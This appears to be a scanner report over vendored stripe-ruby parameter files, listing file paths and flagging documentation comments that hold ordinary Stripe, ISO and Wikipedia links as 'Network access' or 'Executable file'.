# If set, prorations will be calculated as though the subscription was updated at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat - Network accessline 637
# Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/association_find_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 19
# State, county, province, or region. We recommend sending [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code value when possible. - Network accessline 77
# A positive integer representing the line item's total price in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 80
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 86
# A custom identifier for this line item, which must be unique across the line items in the calculation. The reference helps identify each line item in exported [tax reports](https://docs.stripe.com/tax/reports). - Network accessline 90
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID to use for this line item. If not provided, we will use the tax code from the provided `product` param. If neither `tax_code` nor `product` is provided, we will use the default t - Network accessline 116
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 124
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 152
# A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing the shipping charge. If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes are calculated on top of - Network accessline 154
# If provided, the [shipping rate](https://docs.stripe.com/api/shipping_rates/object)'s `amount`, `tax_code` and `tax_behavior` are used. If you provide a shipping rate, then you cannot pass the `amount`, `tax_code`, or `tax_behavior` param - Network accessline 158
# The [tax code](https://docs.stripe.com/tax/tax-categories) used to calculate tax on shipping. If not provided, the default shipping tax code from your [Tax Settings](https://dashboard.stripe.com/settings/tax) is used. - Network accessline 168
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_list_line_items_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/calculation_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 326
# Two-letter CA province code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1452
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago), `02154` (Arlington Heights), `06613` (Bloomington), `10906` (Campton Hills), `2 - Network accessline 1461
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `14000` (Chicago). - Network accessline 1471
# A [FIPS code](https://www.census.gov/library/reference/code-lists/ansi.html) representing the local jurisdiction. Supported FIPS codes are: `003` (Allegheny County) and `60000` (Philadelphia City). - Network accessline 1492
# Two-letter US state code ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2007
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/registration_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/settings_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/settings_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Specifies the default [tax behavior](https://stripe.com/docs/tax/products-prices-tax-categories-tax-behavior#tax-behavior) to be used when the item's price has unspecified tax behavior. One of inclusive, exclusive, or inferred_by_currency - Network accessline 10
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 23
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 31
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX".
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_create_from_calculation_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_create_reversal_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 10
# The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 16
# The quantity reversed. Appears in [tax exports](https://docs.stripe.com/tax/reports), but does not affect the amount of tax reversed. - Network accessline 39
# The amount to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 41
# The amount of tax to reverse, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. - Network accessline 51
# A flat amount to reverse across the entire transaction, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) in negative. This value represents the total amount to refund from the transaction, including taxes. - Network accessline 55
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 61
# A custom identifier for this reversal, such as `myOrder_123-refund_1`, which must be unique across all transactions. The reference helps identify this reversal transaction in exported [tax reports](https://docs.stripe.com/tax/reports).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_list_line_items_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax/transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_code_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_code_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_id_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 20
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 24
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/tax_rate_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 20
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/configuration_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/connection_token_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 41
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 76
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 123
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/location_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 41
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 76
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 123
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/onboarding_link_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_cancel_action_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_collect_inputs_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_collect_payment_method_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_confirm_payment_intent_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_present_payment_method_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_process_payment_intent_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_process_setup_intent_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_refund_payment_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_set_reader_display_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# The price of the item in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 22
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 26
# The amount of tax in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 28
# Total balance of cart due in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_succeed_input_collection_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_timeout_input_collection_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/terminal/reader_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/confirmation_token_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 60
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 68
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 263
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 383
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 411
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 596
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 604
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 646
# Indicates that you intend to make future payments with this ConfirmationToken's payment method. # # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Pa - Network accessline 648
# The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/customer_fund_cash_balance_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100 - Network accessline 9
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 13
# A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_capture_params.rb
- Executable scriptline 1
Executable file - Network accessline 160
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 244
# The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 114
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 141
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 299
# The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 301
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 307
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/ - Network accessline 317
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 319
# The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 321
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_expire_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_finalize_amount_params.rb
- Executable scriptline 1
Executable file - Network accessline 102
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 129
# The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_increment_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 12
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_respond_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/authorization_reverse_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_deliver_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_fail_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_return_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_ship_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/card_submit_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_activate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_deactivate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/personalization_design_reject_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_create_force_capture_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 203
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 287
# The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 291
# The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_create_unlinked_refund_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 203
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 287
# The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 291
# The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/issuing/transaction_refund_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/refund_expire_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_present_payment_method_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_succeed_input_collection_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/terminal/reader_timeout_input_collection_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_advance_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/test_clock_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_fail_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_return_inbound_transfer_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/inbound_transfer_succeed_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_fail_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_post_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_return_outbound_payment_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_payment_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_fail_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_post_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_return_outbound_transfer_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/outbound_transfer_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/received_credit_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 35
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/test_helpers/treasury/received_debit_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 35
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 45
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/token_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 19
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 42
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 77
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 171
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF - Network accessline 173
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD - Network accessline 216
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 294
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 302
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 325
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 360
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 410
